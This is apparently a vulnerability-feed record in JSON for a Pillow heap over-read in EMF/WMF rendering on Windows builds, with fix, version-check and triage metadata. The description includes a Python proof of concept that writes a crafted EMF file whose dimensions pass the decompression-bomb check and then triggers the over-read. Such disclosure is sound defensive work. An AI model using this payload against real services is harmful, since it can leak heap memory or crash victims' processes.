{"id":"CVE-2026-96644","kind":"vulnerability","aliases":["CVE-2026-96644","GHSA-9v9v-9qvf-h2hj"],"related":[],"title":"Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds)","description":"### Summary\nOn Windows builds, Pillow stores EMF and WMF image dimensions without a range check and passes them to the native `drawwmf` handler. That code sizes its allocation from dimensions truncated into 16-bit header fields but copies the result using the full 32-bit dimensions. A crafted metafile that is wide and short passes the decompression-bomb pixel check yet causes a heap over-read.\n\n### Details\nThe EMF branch computes the size straight from signed 32-bit header fields and stores it with no positivity or range check:\n\n- `src/PIL/WmfImagePlugin.py:121-129` reads the bounding box; `:148` stores it; the size reaches the native handler through `src/PIL/WmfImagePlugin.py:56`.\n\nIn the native handler the DIB header fields `bcWidth` and `bcHeight` are 16-bit and truncate the allocation, while the copy length uses the untruncated ints:\n\n- `src/display.c:793-794` assign the 16-bit fields\n- `src/display.c:800` sizes the allocation from them\n- `src/display.c:827` copies `height * ((width * 3 + 3) & -4)` bytes using the full values\n\nThe whole handler is compiled only on Windows (`#ifdef _WIN32`, `src/display.c:33-841`).\n\n### PoC\n```python\nimport struct\nfrom PIL import Image\n\ndef L(v):\n    return struct.pack(\"<i\", v)\n\n# Minimal EMF header. Bounding box is 70000 x 1, so the pixel count (70000) passes the\n# decompression-bomb check, but the width truncates to 16 bits for the allocation while\n# the copy uses 70000.\nemf  = b\"\\x01\\x00\\x00\\x00\" + L(88)          # record type + size\nemf += L(0) + L(0) + L(70000) + L(1)        # rclBounds: x0, y0, x1, y1\nemf += L(0) + L(0) + L(100) + L(100)        # rclFrame (non-zero, used for the dpi calc)\nemf += b\" EMF\"                              # signature at offset 40\nemf += bytes(44)\nopen(\"poc.emf\", \"wb\").write(emf)\n\nim = Image.open(\"poc.emf\")\nprint(\"size:\", im.size, \"pixels:\", im.size[0] * im.size[1])\nim.load()                                   # over-read happens here on a Windows build\n```\n\nOn Linux the first part is observable: the 88-byte file opens, `size` is `(70000, 1)`, and the bomb check passes. The native over-read only exists on Windows because `Image.core.drawwmf` is compiled out elsewhere (on Linux `im.load()` raises `OSError` instead).\n\n### Impact\nCWE-125, out-of-bounds read in a C extension on Windows builds. A crafted EMF or WMF that passes the pixel check can read past a heap buffer, leaking memory or crashing the process.","summary":"Pillow on Windows builds mishandles EMF and WMF image dimensions, so a crafted metafile that passes the decompression-bomb pixel check causes a heap buffer over-read in the native drawwmf handler. An attacker who gets a victim to open a malicious EMF or WMF file can leak heap memory or crash the process.","severity":"high","cvss":7.1,"epss":0.003329999977722764,"exploited":false,"exploited_at":null,"products":[{"name":"Pillow","fixed":["13.0.0"],"affected":"< 13.0.0","ecosystem":"pypi"}],"ecosystems":["pypi"],"tags":["cwe-125","image-processing","package","pillow","python","windows"],"not_affected_if":["linux-or-macos-builds","no-untrusted-wmf-emf-input","pillow-13.0.0-or-later"],"how_to_check":"Run python -c \"import PIL; print(PIL.__version__)\" and check whether it is below 13.0.0.\nCheck whether the service runs on Windows and opens untrusted EMF or WMF files via PIL.Image.open.","fix":"Upgrade Pillow to 13.0.0 or later (pip install -U \"pillow>=13.0.0\").\nIf you cannot upgrade, do not open untrusted EMF or WMF files on Windows.","status":"open","published_at":"2026-10-21T21:20:32+00:00","first_seen_at":"2026-10-23T19:11:31+00:00","triaged_at":"2026-10-23T20:10:00+00:00","updated_at":"2026-10-23T21:57:29+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-10-23T20:10:00Z","model":"claude-haiku-5-5","output":{"fix":"Upgrade Pillow to 13.0.0 or later (pip install -U \"pillow>=13.0.0\").\nIf you cannot upgrade, do not open untrusted EMF or WMF files on Windows.","summary":"Pillow on Windows builds mishandles EMF and WMF image dimensions, so a crafted metafile that passes the decompression-bomb pixel check causes a heap buffer over-read in the native drawwmf handler. An attacker who gets a victim to open a malicious EMF or WMF file can leak heap memory or crash the process.","category":"package","who_cares":["python","pillow","windows","image-processing"],"confidence":0.8,"analyst_note":"","how_to_check":"Run python -c \"import PIL; print(PIL.__version__)\" and check whether it is below 13.0.0.\nCheck whether the service runs on Windows and opens untrusted EMF or WMF files via PIL.Image.open.\nunknown","needs_analyst":false,"not_affected_if":["linux-or-macos-builds","pillow-13.0.0-or-later","no-untrusted-wmf-emf-input"],"severity_if_unknown":"high"},"cost_usd":0.000494,"input_tokens":2925,"output_tokens":403,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-125':29B,443C '-129':186C '-2026':17A,25A '-4':251C '-794':231C '-841':269C '-96644':18A,26A '0':333C,335C,347C,349C,386C '1':293C,339C,388C,414C '100':351C,353C '121':185C '148':191C '16':10A,125C,215C,234C,310C '3':249C,250C '32':136C,171C '33':268C '40':369C '44':372C '56':202C '70000':291C,298C,319C,337C,413C '793':230C '800':238C '827':245C '88':327C,407C '9qvf':22A '9v9v':21A 'alloc':120C,220C,241C,314C 'assign':232C 'attack':72B 'b':321C,364C 'bcheight':213C 'bcwidth':211C 'bit':11A,126C,137C,172C,216C,235C,311C 'bomb':56B,151C,303C,417C 'bound':189C,288C,447C 'box':190C,289C 'branch':164C 'buffer':62B,471C 'build':15A,40B,96C,398C,455C 'byte':252C,371C,408C 'c':451C 'calc':362C 'caus':59B,155C 'check':58B,107C,153C,183C,304C,418C,465C 'code':117C 'compil':261C,432C 'comput':165C 'copi':130C,223C,246C,317C 'count':297C 'craft':49B,140C,457C 'crash':90B,475C 'cve':16A,24A 'cwe':28B,442C 'decompress':55B,150C,302C 'decompression-bomb':54B,149C,301C 'def':278C 'detail':161C 'dib':208C 'dimens':12A,46B,103C,122C,138C 'dpi':361C 'drawwmf':69B,114C 'elsewher':434C 'emf':42B,81B,99C,163C,286C,320C,331C,345C,363C,365C,370C,377C,458C 'exist':426C 'extens':452C 'field':128C,174C,210C,236C 'file':84B,409C 'first':402C 'full':135C,255C 'get':74B 'ghsa':20A 'ghsa-9v9v-9qvf-h2hj':19A 'h2hj':23A 'handler':70B,115C,199C,206C,259C 'happen':393C 'header':127C,173C,209C,287C 'heap':2A,61B,87B,157C,470C 'height':247C 'ifdef':265C 'im':378C 'im.load':389C,437C 'im.size':383C,385C,387C 'imag':31B,45B,102C,277C 'image-process':30B 'image.core.drawwmf':430C 'image.open':379C 'impact':441C 'import':272C,276C 'instead':440C 'int':228C 'l':279C,326C,332C,334C,336C,338C,346C,348C,350C,352C 'leak':86B,472C 'length':224C 'linux':400C,436C 'malici':80B 'memori':88B,473C 'metafil':50B,141C 'minim':285C 'mishandl':41B 'nativ':68B,113C,198C,205C,421C 'non':356C 'non-zero':355C 'observ':405C 'offset':368C 'open':78B,373C,410C 'oserror':439C 'out-of-bound':444C 'over-read':3A,63B,158C,390C,422C 'packag':33B 'part':403C 'pass':52B,109C,147C,299C,419C,462C 'past':468C 'pil':275C 'pillow':1A,27A,34B,37B,97C 'pixel':57B,152C,296C,384C,464C 'poc':270C 'poc.emf':374C,380C 'posit':180C 'print':381C 'process':32B,92B,477C 'python':35B,271C 'rais':438C 'rang':106C,182C 'rclbound':340C 'rclframe':354C 'reach':196C 'read':5A,65B,160C,187C,392C,424C,448C,467C 'record':328C 'render':8A 'result':132C 'return':281C 'short':146C 'sign':170C 'signatur':366C 'size':118C,167C,195C,239C,330C,382C,411C 'src/display.c':229C,237C,244C,267C 'src/pil/wmfimageplugin.py':184C,201C 'store':98C,176C,192C 'straight':168C 'struct':273C 'struct.pack':282C 'summari':93C 'truncat':13A,123C,218C,308C 'type':329C 'untrunc':227C 'use':133C,225C,253C,318C,358C 'v':280C,284C 'valu':256C 'via':9A 'victim':76B 'wb':375C 'whole':258C 'wide':144C 'width':248C,307C 'win32':266C 'window':14A,36B,39B,95C,264C,397C,428C,454C 'without':104C 'wmf':44B,83B,101C,460C 'wmf/emf':7A 'write':376C 'x':292C 'x0':341C 'x00':323C,324C,325C 'x01':322C 'x1':343C 'y0':342C 'y1':344C 'yet':154C 'zero':357C","nicknames":[],"mitigations":[],"who_affected":null,"tier":"B","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-21T21:20:32+00:00","kev":null,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cvss_by":"security-advisories@github.com","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-9v9v-9qvf-h2hj","url":"https://github.com/advisories/GHSA-9v9v-9qvf-h2hj","severity":"high","published_at":"2026-10-22T16:03:14+00:00","modified_at":"2026-10-22T16:03:16+00:00","first_seen_at":"2026-10-23T19:11:31+00:00","fetched_at":"2026-10-23T19:11:31+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-96644","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96644","severity":null,"published_at":"2026-10-21T21:20:32+00:00","modified_at":"2026-10-22T16:46:48+00:00","first_seen_at":"2026-10-23T21:57:29+00:00","fetched_at":"2026-10-23T22:29:02+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}